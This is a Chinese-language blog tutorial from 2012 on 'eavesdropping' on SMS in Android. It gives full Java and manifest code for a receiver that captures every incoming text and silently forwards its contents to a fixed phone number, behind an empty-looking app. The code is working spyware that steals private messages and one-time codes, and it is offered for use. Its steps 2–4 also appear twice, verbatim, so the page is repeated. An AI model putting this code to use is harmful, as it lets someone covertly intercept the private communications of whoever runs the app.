短信"窃听"
2012-07-11 14:07
141 查看
1.新建工程,自动生成一个Activity,这个显示用的,里面什么都没有。
2.新建一个SmsReceiver继承BroadcastReceiver,并在AndroidManifest.xml文件里面注册,要加上接收短信过滤器,如下
<receiver
android:name="SmsReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"></action>
</intent-filter>
</receiver>
3.现在只需完善SmsReceiver就可以了,看代码,尽量写了些注释
public class SmsReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Bundle bundle = intent.getExtras();//获取intent中的内容
StringBuilder message = new StringBuilder();//message用于存放短信内容
SmsMessage sms = null;//短信服务类,MS现在已经被android.telephony.SmsMessage取代
SmsManager manager = null;//短信管理类
if (bundle != null) {
Object[] pdus = (Object[]) bundle.get("pdus");//获取bundle里面的内容
for (Object obj : pdus) {
//下面两行将短信内容取出加入到message中
sms = SmsMessage.createFromPdu((byte[]) obj);
message.append(sms.getDisplayMessageBody());
}
}
if (message.toString() != "") {//if里面将短信转发到指定的号码
System.out.println(message);
manager = SmsManager.getDefault();
manager.sendTextMessage("此处为要转发的电话号码", null, message.toString(),
null, null);
}
}
}
4.最后别忘了加入相关权限
<uses-permission android:name="android.permission.READ_SMS"></uses-permission>
<uses-permission android:name="android.permission.SEND_SMS"></uses-permission>
<uses-permission android:name="android.permission.WRITE_SMS"></uses-permission>
<uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>
2.新建一个SmsReceiver继承BroadcastReceiver,并在AndroidManifest.xml文件里面注册,要加上接收短信过滤器,如下
<receiver
android:name="SmsReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"></action>
</intent-filter>
</receiver>
3.现在只需完善SmsReceiver就可以了,看代码,尽量写了些注释
public class SmsReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Bundle bundle = intent.getExtras();//获取intent中的内容
StringBuilder message = new StringBuilder();//message用于存放短信内容
SmsMessage sms = null;//短信服务类,MS现在已经被android.telephony.SmsMessage取代
SmsManager manager = null;//短信管理类
if (bundle != null) {
Object[] pdus = (Object[]) bundle.get("pdus");//获取bundle里面的内容
for (Object obj : pdus) {
//下面两行将短信内容取出加入到message中
sms = SmsMessage.createFromPdu((byte[]) obj);
message.append(sms.getDisplayMessageBody());
}
}
if (message.toString() != "") {//if里面将短信转发到指定的号码
System.out.println(message);
manager = SmsManager.getDefault();
manager.sendTextMessage("此处为要转发的电话号码", null, message.toString(),
null, null);
}
}
}
4.最后别忘了加入相关权限
<uses-permission android:name="android.permission.READ_SMS"></uses-permission>
<uses-permission android:name="android.permission.SEND_SMS"></uses-permission>
<uses-permission android:name="android.permission.WRITE_SMS"></uses-permission>
<uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>
相关文章推荐
- ContentObserver——窃听用户发出的短信
- Android 窃听用户发出的短信
- android广播和短信广播详解----使用广播接收者窃听短信
- Android之BroadcastReceiver讲义并通过广播机制实现短信窃听
- BroadcastReceiver广播接收者(五)——onReceive()中的耗时任务以及短信窃听
- 通过短信平台接口助力政府"招兵买马"
- BroadcastReceiver广播接收者(五)——onReceive()中的耗时任务以及短信窃听
- 使用广播接收者窃听短信
- 安卓-短信窃听
- 赵雅智_android短信窃听及android短信源码解析
- GSM短信窃听解决方案设计与实现
- Android之BroadcastReceiver 广播接受者(短信窃听实例)
- Android学习笔记_19_广播接收者 BroadcastReceiver及其应用_窃听短信_拦截外拨电话
- android 广播接收者--BroadcastReceiver (实现短信窃听)
- Android之BroadcastReceiver 广播接受者(短信窃听实例)
- android 在新建短信时,加入名称为","(英文逗号)的联系人时,应用崩溃的修改
- android 导出每个号码的最新的短信记录(巧用SQL语句的"--"注释符)
- 使用广播接收者窃听短信--安卓广播介绍
- android 在新建短信时,加入名称为","(英文逗号)的联系人时,应用崩溃的修改
- android 广播接收者--BroadcastReceiver (实现短信窃听)